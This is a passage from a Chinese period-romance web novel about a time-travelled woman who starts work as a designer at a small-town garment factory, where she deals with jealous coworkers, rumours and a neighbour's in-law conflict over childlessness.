家属工一拳打在软棉花上,心里不爽,冷哼道:“大工不是那么好干的,别以为混进来就万事大吉了!” 兰兰偏头的时候,看着小姑就在这个家属工身后三四米的地方坐着看她们,眼神不善。 兰兰深吸一口气:“好,谢谢你的提醒,我会好好干。” 兰兰属于那种软性子,而且第一天来上班,她不想惹什么麻烦,但坐她身边的师傅江彩霞看不下去,一把拿过那件工装看了一圈,做得比她还板正。 要是做成这样还要被一个小工来训斥,那她是不是该被指着鼻子骂啊! 不管怎么着,一个小工,还没有资格来训斥一个大工,更何况被训的还是她称心的小徒弟。 江彩霞可不是好欺负的,一把把工服摔在台面上,站起来哼了声:“怎么着?剪一年了都能剪得了,今天就剪不了了?” 那个自认为有资历的家属工就敢欺负兰兰是新来的,年纪又小,对上江彩霞立马小心翼翼赔笑脸:“不是不是,就是提醒一下小赵,干得仔细点,大家都干得快嘛。” 旁边的大工缝纫机也停了,两句话就听明白是什么事了,都过来拿起那件工服看。 “这还不仔细?我看着比我干得还仔细呢!” “对啊,这要是还不仔细,那我都不知道该怎么干了!” “胡莲莲,别仗着你年纪大,就欺负我们小孩啊。” 叫胡莲莲的家属工突然被一群大工围攻,一时急得想走都走不掉,眼看着班长钱小凤过来问:“怎么了?” 江彩霞把刚才的事说了,钱小凤冷脸看着胡莲莲:“小工的活就是剪线头,怎么着,还得让大工跑完了给你们把线头也剪干净了才行?当自己是小工还是祖宗!” 胡莲莲低头哈腰:“班长,我不是这个意思,我就是提醒提醒小赵,提醒提醒……” 她真是肠子都悔青了,就不该过来! 钱小凤哼了声:“大工怎么干活,我会提醒,还不需要你一个小工来教!” 胡莲莲擦擦额头上的汗:“是,是,是。” 钱小凤回头看了一眼那几个干小工的家属工,平时这几个小工就在一块嘁嘁喳喳八卦,光拉呱不出活,她都不愿意按天说,如今还敢来指使大工了。 钱小凤冷声对几个干小工的家属工道:“这个活,能干你们就干,不能干就走,有的是人排着队来干!” 傅青宁闻声缩缩脖子,头低到不能再低,长舒一口气,幸好她没去,撺掇胡莲莲去的。 没想到赵兰兰这个小妞子,跟她那个浪比娘一样,也可会玩弄人!玩弄得谁都向着她! 训完小工,钱小凤过来拍拍兰兰肩膀:“小赵,你干得很好,就这么干!” 中午吃饭的时候,傅青宁跑去找蒋有年。 蒋有年端着餐盘,跟她保持距离,皱眉道:“不是说了在单位注意影响!” 傅青宁撇撇嘴:“我有事问你,你知道谢晚棠和赵兰兰来咱们单位干家属工了吗?技术员和大工的家属工工资是多少啊?” 蒋有年哼了声:“什么家属工,她俩是正式工。” 傅青宁惊得半晌没说出话来,不可思议,怀疑自己耳朵出问题了:“你说什么?直接就是正式工?” 蒋有年也不爽,上午厂长过来跟她说,单位新来了两个正式工,一个技术员叫谢晚棠,工资70,还有一个大工叫赵兰兰,工资40,让他给录入。 他给这么大个厂当会计一个月才挣50块钱,谢晚棠一来就挣70,而且什么技术员啊,技术部的老张和小张还没活干呢,她来干什么,一看就是傅青山给她找关系塞进来的! 傅青宁被正式工这个消息彻底震懵了,恍惚地念叨:“肯定是我二哥,只有我二哥才能办到。” 不行,她也得去找二哥,二哥凭什么光给谢晚棠和兰兰办,自己才是他的亲妹妹啊! 晚上谢晚棠到家的时候,两个男人正在院里洗菜,准备做饭。 谢晚棠跟付镇长打过招呼,笑道:“毕姐还没下班呢,厂里上上下下都得她操心。” 付天明早习惯了,笑呵呵道:“她都弄好了心里才能踏实,要不就是回来也放不下心。” 谢晚棠点头:“这也是因为镇长您保障工作做得好,才能让毕姐安心工作,没有后顾之忧。” 付天明朝傅青山努努下巴:“我比着青山还差得远,还得多学习!” 谢晚棠笑着进屋,看几个小的都在乖乖写作业,画面让人舒心。 她记得表姐家的孩子上一年级开始,表姐就全程陪读,每天放学陪着一起写作业,她下班叫表姐出去逛街,表姐都不去,一心扑在孩子身上,结果孩子学得也白瞎。 看着自家几个自觉的乖孩子,谢晚棠真是心满意足了,挨个摸摸头鼓励。 晚上傅青山炖得芋头南瓜腿骨,锅边糊了饼子,还做了个白菜虾酱炒蛋,一出锅,虾酱的香味就扑鼻。 大沟镇不靠海,虾酱可是稀罕东西。 谢晚棠端饭的时候问傅青山:“虾酱哪儿来的?” 供销社可没有卖的。 傅青山道:“付镇长给的,说是嫂子去上海出差的时候带回来的。” 谢晚棠想起毕淑君邀请她进厂的时候说过,以后出去出差都带着她,让她跟着见世面、开眼界。 谢晚棠笑笑:“等着我以后跟着毕姐出去,也多带点好吃的回来。” 供销社来来回回就那几样,好几年了,也都要吃够了。 晚上毕淑君回来,满院子都是扑鼻的虾酱香和肉香,还有一股甜滋滋的味道,一进自己家门,香味瞬间被隔断。 付天明也闻着对门的香味了,明明他今天炒菜也撒了虾酱了啊,怎么就不一样呢。 他奇怪地摇头:“怎么虾酱去了别人家就变那么香了呢?明早我得跟青山请教请教。” 毕淑君吃着自家的白菜豆腐粉条肉虾酱,叹了口气:“老付,要不明晚下班再去饭店打包个肉回来吧。” 她以前真不挑食的,毕竟在部队里什么艰苦条件都受过。 但自从小谢和傅青山搬来对面,她被熏得,口味越来越叼了…… 晚上孩子们都回了自己房间,谢晚棠舒服地靠在傅青山怀里,天慢慢开始转凉,男人火热的身体像是天然的暖宝宝,温度刚刚好,谢晚棠特别喜欢穿一层薄薄的睡衣窝在他怀里。 傅青山捋着她鬓角的一缕长发:“单位有人难为你吗?” 这是她第一次上班,也不知道能不能适应集体环境。 谢晚棠想到那父女俩,只能算是抱团,不能算是难为。 而且,她也不是职场新人了,作为21世纪的职场老牛马,就算有人难为,她也会当场回击的! 她摇摇头:“没有。再说还有毕姐在呢,谁敢难为我呀。” 傅青山:“上班累吗?” 谢晚棠本想说比她当社畜的时候不知道轻松多少倍,脱口而出之前又收住了,差一点说漏嘴! 要是傅青山问她什么是社畜,她又什么时候当过社畜,那可真是头都要大了! 谢晚棠抿唇笑笑,攥起右拳:“不累呀,二哥,我现在感觉自己一身的劲!” 今年冬天,她就要轰轰烈烈大干一场!让大沟镇的女人都美美丽丽地穿上她设计的衣裳! 傅青山点头:“那就好。” “那今晚我们正常做。” 谢晚棠……???? 纳尼?! 被压在炕上堵着嘴的时候,谢晚棠内心疯狂呐喊:啊不!啊啊啊我不是说这个劲啊!我那个一身劲是形容自己内心的热血斗志啊…… 第80章 你小时候肯定很可爱。 谢晚棠累得快要不行了,终于听到傅青山低沉微哑的慈悯声:“棠棠乖,最后一次,保证12点前就让你休息,不耽误上班。” 谢晚棠:“……” 这个年代没有手机、也没有电视,吃完饭没什么事,8点多就上炕了。 傅青山从8点弄到12点,还说是为了不影响她上班? 这叫正常? 晚上比她白天上班累多了好嘛! 大佬言出必行,谢晚棠赶在午夜12点前解放,累瘫在被窝里,手指头都不想动一下,杂乱淫。靡的“战场”全交给傅青山去收拾。 明明傅青山是那个出力的,但是看起来却没有丝毫疲惫之色,一边利落地把她抱起来换上新床单,一边评价她的状态:“你还是疏于锻炼,身体太差,我看军体拳还是该提上日——” “……” 谢晚棠直接打断他,拉着被子盖住头堵住耳朵:“睡觉睡觉!困死了!” 以前练军体拳是为了能治疗痛经,后来痛经被张老大夫治好了,她都好几年没练过了,都是孩子们练了。 现在要她为了晚上能更卖力地“加班”去打军体拳锻炼身体? 绝!对!不!可!能! 唔……腰好酸…… 这个男人从27岁到33岁,明明已经步入中年,怎么体力越来越好了…… 而且褪去年轻时的青涩,更会玩的老男人,真是越来越难伺候了T-T 翌日一早,傅青山在压井旁洗菜的时候,付天明也醒了,打过招呼后过来跟他请教:“青山,你昨晚那个虾酱怎么做的?闻着那么香呢!我做得就不大行。” 傅青山抬眸询问:“您怎么做的?” 付天明:“我就是炒白菜豆腐粉条肉的时候,挖了两勺进去,就没你那个香味,还有点臭哄儿的小味,你嫂子说她在上海吃的就可鲜可香,所以才买回来的,结果让我一做就不是那个味了。” 傅青山:“……” 白菜豆腐粉条肉虾酱…… 这一大锅烩下去,他都想象不出来得是个什么样。 傅青山正好早上要做鸡蛋手擀面,用白菜虾酱炒蛋做卤子,直接边做边讲:“白菜切碎以后,把虾酱放上,然后打上蛋全部搅在一起,油稍微放多一点,油开了倒进去两面煎到微微金黄,虾酱的香味就出来了。” 付天明在旁边一看就明白了:“原来是这样!” 不难,是他之前做法错了,把好东西都做瞎了! 把炒好的卤子盛出来,傅青山又刷了锅倒水烧开,下上擀好的面条,加了鸡蛋揉出来的苗条,下水后呈现出黄橙橙的好看色泽,在沸腾的水中上下涌动,看起来就诱人。 傅青山余光看到付天明眼睛一直盯着他家大锅,喉结上下滚动了下。 傅青山扫了眼墙上的表,都快7点了,就付天明这个厨艺水平,现在回去赶出来一顿早饭恐怕费劲。 自从大刚去部队,二刚去住校,家里的饭量总和骤减,他今天不小心又活多了面,面条不少:“镇长,一会儿叫嫂子过来一起吃吧,今天面条下得多。” 付天明面上一喜,从善如流:“好!” 又能吃好饭了!赶紧回去告诉淑君这个好消息!她肯定高兴! 而且他还跟着傅青山学到了手艺,晚上就给淑君露一手! 傅青宁今早提前出门来找二哥,还没进门就听到里边热闹得很,一进门就看到厂长竟然和谢晚棠他们一个桌子吃饭,热络得很! 原来厂长和谢晚棠就住对门! 怪不得谢晚棠和赵兰兰能直接进厂当正式工呢!门对门住着,想送礼还不容易?!她二哥又有钱! 傅青宁在厂长转身之前换上笑脸,笑呵呵地叫二哥二嫂,又佯装惊讶道:“啊!厂长,您也住这儿啊?” 毕淑君想了想:“你不是蒋会计的对象?” 傅青宁马上小跑过来,笑得谄媚:“对对对,厂长您这么忙,还记得呢!” 毕淑君虽然不管下边的细节,但是厂里的员工她还是都认识的:“你刚才叫二哥二嫂?” 傅青宁忙不迭点头:“是呀,亲二哥和二嫂!” 谢晚棠:“……” 从来没听傅青宁叫她二嫂叫得这么亲过…… 毕淑君是认识厂里所有的员工,但下边的细节她不管,都是班长们管,她对傅青宁也不是很了解,便点点头,没说什么。 傅青山看着妹妹在毕淑君面前点头哈腰的样子,微微皱眉:“有事?” 傅青宁朝毕淑君笑笑,凑到傅青山身边,拽他袖子使眼色:“二哥,我们去屋里说,别影响厂长吃饭。” 毕淑君:“……” 什么事还能影响着她吃饭了? 呵呵,是有什么话不能当着嫂子的面说吧。 毕淑君见多识广,识人见人多了,一看就是什么见不得人的事。 傅青山这个妹妹比着他和他爱人可差点意思,不光心术不正,找男人的眼光也不行。 见傅青山被拉进屋里半晌没出来,谢晚棠还面色如常地吃面条,毕淑君都替她着急,就不担心小姑子背后戳戳什么事? 上班路上,毕淑君没忍住,提醒了下。 谢晚棠没想到才当邻居不过一个周,毕淑君居然会跟她交心说这些,她笑笑:“青山他有数。” 想了想,谢晚棠又补充道:“如果他没数,我去偷听看着也没用。” 虽然没孩子,但毕淑君进入婚姻的时间比谢晚棠长,虽然在外是光鲜亮丽的女强人大厂长,回家也得面对婆媳关系、惹人烦的小姑子。 确实,谢晚棠说得有道理,真正想护着你的男人,别人什么风也不会吹倒的。 傅青宁从二哥家出来一肚子火! 谢晚棠和赵兰兰早骑着自行车和厂长一块走了,她只能自己往厂子走,深秋的晨风刮在脸上,刺得生疼! 二哥不仅拒绝给她走关系,还说谢晚棠和赵兰兰都是凭自己的能力找的工作,教育她要脚踏实地好好干,不要想些有的没的。 住一个院,一起吃饭,一起上班,厂长的爱人和二哥还同在镇政府上班,都秃子头上的虱子,明摆着的事了,还不承认,还想糊弄她。 二哥真是被谢晚棠下了迷魂汤了!迷得二哥五迷三道的,连里外都分不出来了! 行! 不让她好过是吧? 她谢晚棠也休想好过! 走着瞧! 谢晚棠提前5分钟到办公室,收拾干净自己周边的卫生,倒上水凉着,8点准时开始工作。 昨天下午新设计了一款冬装,加上前几年积累的4款冬装设计,一共五套,先对细节进行精修调整,然后给每个款搭配4-5种颜色,把这5套先落实下来拿给毕淑君审核,如果可以,先把这五套的版样做出来上流水线,赶在入冬第一批上市。 等这批忙完上市,她再设计第二批,预计也是5款,每款4-5种颜色搭配,腊月前入市,争取过年这波大销售。 这样算下来,不同款式不同花色的服装有40-50版左右,一口吃不成个胖子,第一年能做到这样,也算是比较丰富了。 她都修改好一张设计了,老张校长父女俩才说说笑笑地姗姗来迟,来了也不上急。 老张悠悠晃晃地洗茶壶、泡茶水,小张则是哼着歌浇花,浇完花坐下继续织她昨天没织完的毛衣。 谢晚棠看在眼里,没说什么。 在其位才谋其政,她如今和两人分管不同部分,属于并列关系,她才不会多话。 如果有一天她成了技术部的总主管,父女俩这几天的表现,在她眼里可过不去。 花了接近一周的时间,谢晚棠把5款共24种花色设计图纸交到了毕淑君面前,请她审核。 毕淑君一一仔细看过,面露喜色:“小谢!我当初果然没看错你!” 毕淑君当场批了条子,谢晚棠拿着去了采购部下版样布料的采购计划,出样品用的,用量不大,但品类颜色极多,非常复杂。 采购部的经理姓高,长得不高,因为肥胖看起来颇为油腻男模样。 高经理捏着她的一大摞下料单啧了声,皱眉道:“谢工,你这活我可不好干啊!” 谢晚棠心里撇嘴,不好干就腾地方,有的是人抢着干,面上还得保持职场微笑:“高经理,毕厂长吩咐了,版样料务必赶在下周之前到位,成品要在下个月上生产线的。” 高经理呵呵笑着,为难道:“好吧!虽然时间紧张,但谢工的事,我放在心上了!” “……” 油腻男少特么pua啊,什么她的事,这是厂子的事,是你分内的工作。 谢晚棠懒得跟这种老油子多说一句,点点头:“辛苦高经理了。” 说完扭头就走,真是丑人多作怪,多看一眼都恶心! 谢晚棠快步回了办公室,进门刚坐下,水还没来得及喝一口,就听老张阴阳怪气道:“谢工是真忙啊,一天到晚忙得喝口水的时间都没有。” 她不愿意多管闲事,不代表别人就可以骑到她头上跳舞。 谢晚棠偏头,对上老张不屑的目光,笑道:“是呀,我年轻,自然跟张工您没法比,厂长招我来不是让我来天天喝茶水的。” 谢晚棠一句话同时点了老张小张。 她年轻,小张更没什么资历,还是个家属工呢,就天天不干活织毛衣。 老张就算老,倚老卖老拿着工资来喝茶水,也不是什么光彩的事。 谢晚棠说完,小张手上顿住,看看她爹,看看谢晚棠,来来回回几次,缩了缩脖子,把毛衣和针放进抽屉,翻开一本服装设计书摆在面前装着看。 老张半晌憋得脸通红,哼了声:“知道自己年轻就要学会收敛!别事事抻头,以为就属你厉害似的!” 谢晚棠笑笑:“谁厉害,不是我以为的,也不是你以为的,厂子的效益自会见分晓。” 作为厂里唯一的技术员,他知道,别人都背后议论他天天上班喝茶水,就连厂长都知道,但还从来没人敢当着他的面说出来! 入职第一周的最后一天,谢晚棠和老张彻底崩了,一间办公室,老张单方面画出楚河汉界,跟谢晚棠成了死对头。 谢晚棠倒是无所谓,职场就是这样,优秀的人就是会被针对,但最终都要凭本事说话。 中午吃饭的时候,高经理主动端着饭盒过来坐在她对面:“谢工,你要的布料我都给你联系好了,3天后先到一批,剩下的一周之内到齐。” 谢晚棠点头:“好的。” 高经理啧了声:“你走了以后,我就一直给你忙这事呢,忙到吃饭才弄好。” 谢晚棠忍住:“辛苦了,高经理。” 高经理一笑脸上的肉都堆在一起:“不辛苦,能为谢工服务是我的荣幸,咱厂里,谢工可以算是一枝花了。” 谢晚棠面无表情:“过奖了。” 高经理的胖脸突然凑近:“谢工看起来很年轻啊,多大了?” 谢晚棠抬头看到兰兰:“不好意思,我闺女来了,我过去一下。” 说完端着饭盒,起身走开,跟花心撩骚油腻男保持距离。 高经理看着谢晚棠走到一个20左右的少女身边,两人挽着胳膊一起走了。??? 那是谢晚棠的闺女?! 他还以为谢晚棠是个小姑娘呢!结果孩子都这么大了??? 真看不出来啊。 她闺女虽然长得没她那么精致,但毕竟年轻啊,那水灵的脸蛋,看着都能掐出水来。 一周忙碌的工作终于告一段落,迎来周末。 谢晚棠睡到自然醒起来,把之前接的活拿出来做,要赶在约定的日期前做好,不能失了信誉。 吃过午饭刚睡了一会儿,就被外边的吵闹声吵醒了。 她坐起来透过窗棂往外看,院里没人,穿上鞋一出家门,就听到声音是从毕淑君家里传出来的。 一个老女人的声音:“你出去看看,谁家的儿媳妇结婚10年不生孩子的!天明娶了你这么个不下蛋的母鸡,真是倒了八辈子霉了!天爷啊!老付家造了什么孽啊!” 一个年轻女人的声音:“嫂子,今天给你两个选择,要么马上跟天明离婚!别占着茅坑不拉屎,耽误我哥娶媳妇生孩子,要么就把堂弟家的小狗子过继过来养着,你自己选吧!” 谢晚棠听明白了,这是毕姐的婆婆和小姑子来逼宫啊! 付天明:“我和淑君不会离婚,也不会过继孩子,我们两个人的事,不用你们管。” 付天明话落,谢晚棠就听到里边传出来摔砸东西的声响,很快屋里出来三个人,一对穿着破旧的夫妻,带着一个黑球球的小男孩,看着跟六六差不多大。 女人在抹眼泪,男人狠哒她:“你个傻婆娘!你在里边哭什么哭!要是真能把小狗子过继给俺堂哥,咱就跟着过好日子了!” 女人把孩子揽在怀里:“这是俺自己身上掉下来的肉,俺不舍得!” 男人气得要命,急哄哄道:“你就是个榆木脑袋!咱堂哥堂嫂比咱们大十多岁,肯定走在咱前边啊!到时候孩子还不是咱的,他们替咱们养大了孩子,等着他们死了,他们的钱不也都是咱的?!” 谢晚棠:“……” 这是什么要命堂弟啊→_→ 这么早就想到付镇长和毕姐的遗产了。 傅青山忙完派出所的事,推着自行车一进门,房檐下那对觊觎遗产的夫妻警惕地看了一眼傅青山和谢晚棠,掀开帘子又进去了,里边又传来老太太哭爹喊娘的嚎丧声和付天明掷地有声的拒绝。 唯有平时热情开朗的毕淑君,从头到尾都没有说话。 傅青山把自行车放下,皱眉看了眼对面,和谢晚棠进了门:“怎么了?” 谢晚棠把大概情况跟傅青山说了说,傅青山了然,这是别人家的家事,他们也没法说什么。 一直到吃过晚饭,毕淑君的老婆婆和小姑子还赖着不走,一股子不达目的不罢休的架势,摔摔打打地住下来,还威胁毕淑君:“看谁能耗得过谁!” 谢晚棠靠在傅青山怀里叹了口气:“看毕姐平时那么大大咧咧一个人,没想到家里也这么一堆烂事。” 谢晚棠突然仰头看着傅青山:“要是你家就你一个单传,我又不能生孩子,你娘以死相逼,逼你休了我,你怎么办?” 傅青山垂眸,两人视线对上,半晌傅青山淡淡道:“我家没人能逼得了我。” 谢晚棠说的事发生过,他要领养那五个孩子的时候,他娘就以死相逼过,不过他了*解他娘,他娘惜命,哪里舍得死,所以也逼不到他。 谢晚棠好奇:“为什么啊?” 傅青山摸摸她头:“从小,我认准了要做的事,谁说都没用,我娘用笤帚旮沓把我屁股打烂了也没用,后来他们都知道我犟,就由我去了。” 谢晚棠想象傅青山小时候又奶又倔的样子,不禁联想到之前在网上看到宠物博主发的家有小犟狗视频,没忍住,噗嗤一声笑出声来。 傅青山不解地看她,谢晚棠摩挲着他满是老茧的手掌:“二哥,你小时候肯定很可爱吧。” 80-87 第81章 要孩子的秘诀。 可爱? 他平常经常听谢晚棠夸六六乖巧又可爱,但他小时候和六六性格完全不同,他没有六六这么爱说爱笑,至少他从不觉得自己跟‘可爱’这个词擦边。 傅青山想了想:“我小时候没你想得那么好。” 气氛突然低沉下来。 谢晚棠想起很久以前,聊起来童年,傅青山说过,他小时候既不会嘴甜,又不会来事,从小就是这么个又冷又硬的性格,在家里是不讨人喜欢的。 谢晚棠说不出来是个什么感觉,明明这个男人今天已经很优秀了,未来更是不可限量,但她就是忍不住心疼他,心疼他在该被捧在手心里宠爱的年纪,独自跌跌撞撞。 谢晚棠坐起来,回神看着他,男人突然被她这样看着,有些发懵,怔愣地望着她,谢晚棠伸手搂住他的脖子,侧脸颊贴着他的耳骨:“我就觉得你可爱,你最好。” 傅青山被抱住,他的心脏紧紧贴着她的身体,有一种踏实的安全感。 在喜欢你的人眼里,你是不需要讨人喜欢的。 半晌,傅青山身体放松下来,伸手轻轻回抱住她,轻声道:“好。” 翌日一早,毕淑君的婆婆和小姑子又闹了一早晨,一直闹到毕淑君上班走。 虽然毕淑君年纪大谢晚棠五六岁,但往常一起上班的路上,毕淑君都是最活力满满的那个,永远是话题引导者,可今天的毕淑君像失了神一样,整个人都透着一股憔悴感。 就算是女强人,跟婆婆磋磨在一起,也会失去光。 谢晚棠心里叹了口气,没有强行拉着毕淑君说话,让她能够静一静。 赶在版样布料到货前,谢晚棠上午继续设计新款冬装,从0到1这个起步非常重要,万事开头难,要先拼开一个好头,才能封死像老张这种人的嘴。 从早晨来了坐下,一直忙到中午吃饭。 中午下班点,大家都往食堂走,谢晚棠感觉今天有点不对劲,总觉得身边的人看她的眼神透着打量,她看过去的时候,那些眼神又全都不自觉地挪开,等她视线离开,便传来窃窃私语的声音。 谢晚棠正觉得奇怪,毕淑君喊她,她才暂时将这事抛在脑后。 毕淑君跟她一起吃午饭的时候让她晚上给付天明带话:“你跟他说,我今晚住单位,不回去了,让他不用做我的饭。” 她明白,毕淑君是不愿意面对那没有素质的母女俩。 每个人都有处理自己家务事的方法,她没法说什么,点点头:“好。” 毕淑君心情不好,两个人安安静静地吃饭,没再说什么。 谢晚棠吃饭的时候,那种被人从四面八方窥探打量的感觉又来了,她扫视一圈,抓住好几个来不及躲闪的目光。 她都来了一个周了,之前也没见这些人这么关注她啊。 谢晚棠皱眉,事出反常必有妖。 晚上谢晚棠下班到家的时候,就看到家门口围了一圈人,里边传来吵闹咒骂的声音,推着车子推开看热闹的邻居们,谢晚棠进门,就看到一个50多岁、穿着时尚的中年妇女正在跟毕淑君的婆婆和小姑子对骂。 一对二,气场丝毫不输。 “你们一个月上门闹一次,一年十二个月,月月不落,不想让人活了呗!” “结婚前不就告诉你们我闺女身体不好吗?你们不还是舔着脸几次三番求上门来!现在觉得自己儿子当镇长了,牛逼了,就拿我们不当人了,你们干的这叫人事?!” “离不离婚是他们两口子的事,由得你一个老东西,还有你这个自己都没嫁出去的老闺女来指手画脚?我告诉你,离婚我们也不怕,我养我闺女一辈子!你问问你儿子他离吗?他要是说一句离,明天一早就去办,我们家犹豫一下就不姓毕!” 谢晚棠把围观看故事的人群去散了,推车子进来,就看到毕淑君的母亲拿起她们家扫院子的大笤帚,像扫垃圾一样把那对母女还有堂弟一家三口往外扫。 赖在这里两天的那五个人直接被扫地出门,老婆婆在大门口刚要坐地嚎啕大哭,付天明一把把人拉起来:“行了娘!我的事你能不能别叨叨了!就算这辈子都没孩子,我也认了!这就是我的命!我不会和淑君离婚,你们回去吧,别再来了!” 老太太还要念叨,付天明直接喊傅青山,傅青山跟谢晚棠道:“我送完人再回来。” 谢晚棠点了点头。 今天付天明下班就让傅青山把单位的旧吉普开了回来,直接把五人塞进旧吉普,进来跟丈母娘道了歉,又拜托谢晚棠麻烦帮着照顾一下丈母娘,就跟着傅青山上车送人去了。 院子里终于清净下来,谢晚棠想起毕淑君让她带话说不回来,那群人都走了干嘛不回来啊。 她让毕淑君的妈妈进门坐,然后派兰兰骑车子去厂里叫毕淑君回来。 毕淑君的妈妈打扮得一看就是城里人,谢晚棠做饭不行,就先帮着兰兰摘菜,三个小的跟毕淑君妈妈打过招呼进屋写作业了,毕淑君妈妈坐在当门里帮着谢晚棠弄。 刚才赶人的时候强势的女人,只面对谢晚棠的时候叹了口气,谁家的闺女摊上这样的事都烦心。 谢晚棠跟毕妈妈闲聊着等毕淑君回来,一聊才知道,毕淑君不是丁克不要孩子,是在部队的时候,有一次冬天执行任务,在冰水里泡了太长时间,从那以后来例假就疼得厉害,这些年一直没要上孩子,所以婆家才这样几次三番地来闹。 毕淑君回来叫毕母回去坐了会,要留毕母在这吃饭,毕母婉拒了,让她晚上跟付天明好好聊聊。 毕母走后,谢晚棠摘好了菜,把厨房交给兰兰,吩咐兰兰多炒点菜给对门送点,付天明这一去一回,回来肯定很晚了,再做好饭都好睡觉了。 兰兰应了,谢晚棠擦干净手,去对门找毕淑君。 婆婆一家人走了,毕淑君情绪稍微好了点,不过看着还是没那么有斗志,毕竟毕妈妈都说了,这些人每个月都来闹,谢晚棠想想都头皮发麻。 谢晚棠挨着炕沿坐下:“毕姐,听阿姨说你也是来例假肚子疼,我生六六之前也这样,疼得别说下地了,下炕都难,后来我们村妇女主任人特别热心,带我去看了一个老中医,祖上是宫廷御医,给娘娘们治病的,治妇科一绝。” 见毕淑君好奇地看过来,有点感兴趣,谢晚棠继续强推:“我当时也没想别的,就想着找他治例假疼,结果不光治好了例假疼,当月就怀上了六六!” 毕淑君其实喜欢孩子,人就是这样,越没有什么越渴望什么,尤其是看着谢晚棠天天被一堆可爱的孩子围着,她别提多羡慕了。 毕淑君惊讶:“真有这么厉害?” 谢晚棠嗐了声:“我们妇女主任说,我们村里好几个不怀孕的,都是找他看的,我大嫂说她当初结了婚不怀孩子,也是天天被我婆婆挑刺,后来也找的这个老大夫看好的。” 毕淑君眼睛里重新亮起光,跟谢晚棠约好,周日放假就带她去找老大夫看。 版样布料陆续到齐,谢晚棠这几天加紧裁样品,赶在周末放假前,把第一批5套冬装的样品全都裁了出来,确定没有问题后,去找毕淑君审批第一批的加工量,好去采购部下料。 第一次做,两人定了一个比较稳妥的量,5套新款,每款最后定了4个花色搭配,一共20款,每款先做30件出来,一共600套,先看看销售情况,再决定后续生产量,稳步前进。 谢晚棠捏着鼻子去技术部,不过好在高经理不在,高经理的助理,一个高高瘦瘦的年轻小伙子给她处理的,谢晚棠长舒一口气,瞬间感觉呼吸都顺畅了。 晚上下班前把所有计划都忙完,谢晚棠一身轻松,接上兰兰回家,却见兰兰眉头紧皱,一路都不说话,一直到吃完晚饭,兰兰看起来情绪都不好。 傅青山刷碗的时候,谢晚棠把人叫到炕间问,兰兰犹豫半晌,皱眉道:“厂子里这几天都在传,咱们是给毕厂长送了钱,才能进厂子的。” 谢晚棠闻声挑眉,怪不得这几天她去食堂,就感觉周围人看她的眼神奇怪呢。 谢晚棠自己倒无所谓,但兰兰毕竟初入职场:“车间的工友有难为你吗?” 兰兰摇头:“没有做什么,就是背后议论。” 谢晚棠了然,摸摸兰兰头:“身正不怕影子斜,把自己的本职工作做好,自然打脸那些造谣的人。” 兰兰闻声点头,心里释然多了。 翌日。 谢晚棠带毕淑君去大沟镇找张老大夫,张老大夫还记得她,毕竟明明自己有病要不上孩子,还觉得是老公有病的人不多,张老大夫印象深刻…… 张老大夫给毕淑君把脉之后,眉头一皱,毕淑君跟着心里一紧。 把完脉,张老大夫询问了一下情况,点点头,犹豫片刻,开始开单下药。 毕淑君心里不安:“大夫,我还能要孩子吗?” 张老大夫挑眉:“你还年轻,要孩子有什么难?” 随即又叹了口气:“不过你身体里的陈年寒气重,十副八副的药是去不利索的,怕是要一个月才能去尽病根啊。” 毕淑君长舒一口气,她还以为治不好了呢! 原来就是需要吃一个月的药,十年她都等了,还差一个月了? 拿完药回来,付天明每天兢兢业业地在院子里给毕淑君熬药,谢晚棠每天回家满院子都是中药味儿,让她不禁想起当初在下沟村的新家,傅青山也是每天这样给她熬药,一转眼,这都六年了。 深秋飞逝,冬日将临,换季前,国营服装厂迎来忙碌的旺季。 除了原本的工装计划,今年还要加上时尚女装生产,车间里一时间怨声载道,对谢晚棠的质疑声更大。 不光走关系进来,还连累她们跟着受累。 而且张工是老裁缝了,这么多年都设计不出来什么新花样,来来回回就是做那几款工装,谢晚棠她那么年轻,还是农村来的,能会设计什么啊,做出来还不知道能不能卖出去呢! 谢晚棠对这些质疑的声音都可以理解,毕竟是拿死工资,干得多干得少都是拿那些钱,谁愿意多干啊。 她跟毕淑君商量,她选3个人专门做时装线,2个大工,1个小工,除了固定工资之外,如果时装销量好,效益好,大工每人分2%的提成,小工分1%的提成。 车间里的抱怨声毕淑君也都知道,硬推肯定有难度,毕竟员工有抵触情绪,工作也很难开展。 时装线本来就是额外加出来的板块,挣的钱都是额外的效益,给提成也在情理之中。 原本时装线的活没人愿意干,毕淑君给车间开会,一说选进时装生产线还有提成,瞬间时装线成了抢手大热门,人人都去班长钱小凤面前凑近乎,想着获得选进时装线的机会。 钱小凤无奈:“选择权不在我这儿啊!在人谢工那儿!” 就在大家都以为谢晚棠一定会选兰兰的时候,谢晚棠选了兰兰的师父江彩霞,还有一个车间里公认技术最好的老师傅,小工选的是采购部那个高高瘦瘦小助理的媳妇小张,刚结婚,还没孩子,干活麻利,人也不多事。 不管是大工还是小工,谢晚棠选的都是车间里最受人认可的,连她自己的闺女都没选,一时堵住了所有人的嘴。 600套冬装,2个大工,1个小工,三个星期内完工,相比在车间生产工装而言,工作量几乎是双倍了。 但谢晚棠选的都是熟练的技术工,而且又有提成的诱惑,大家每天高效率生产,不跟别人攀比浑水摸鱼,竟也在没有延时加班的情况下按时完成了,赶在入冬前在供销社上架了。 毕淑君和谢晚棠带着时装线的三位女工一起去供销社铺货摆货,赶在供销社关门前把各个款式的衣服都挂好。 供销社的两个售货员一看花色齐全洋气的这么多款式,直夸好看,都说明天一开门肯定会卖得好! 忙碌了接近一个月,谁也不知道第一次上架的女装销量会怎样,但她们都已经尽了自己的全力。 和毕淑君一起从供销社回来的路上,谢晚棠紧绷了一个月的心情终于放松下来,正想着今晚弄个什么好吃的庆祝庆祝,毕淑君的车子突然靠过来,小声问她:“小谢,你和青山要孩子有没有什么秘诀,给姐传授一下。” 见谢晚棠怔愣,毕淑君嘿嘿一笑:“张老大夫昨天跟我说,我身体结实,比他预想得恢复得快,可以开始安排要孩子了。” 谢晚棠惊喜:“哇哦,这么快!那太好了!” 张老大夫一出手,果然马上就有! 她现在终于明白为什么当时刘秀香和傅大嫂都那么给她强推张老大夫了。 至于传授要孩子的秘诀,这事还有秘诀吗?不就是做就行了? 要非说秘诀,谢晚棠歪头想了想:“多做?” 毕淑君认真学习脸:“多少算多?” 谢晚棠细数了下傅青山晚上不加班时的正常频率:“做五休二,每晚七次吧。” 虽然怀六六那段时间晚上经常加班,但不加班应该也不影响。 毕淑君……???? 谢晚棠怜惜地看了眼毕淑君,补充道:“不过毕姐,你做好心理准备,这样你会挺累的。” 毕淑君:“……” 做五休二,还每晚七次,确定累的是她? 第82章 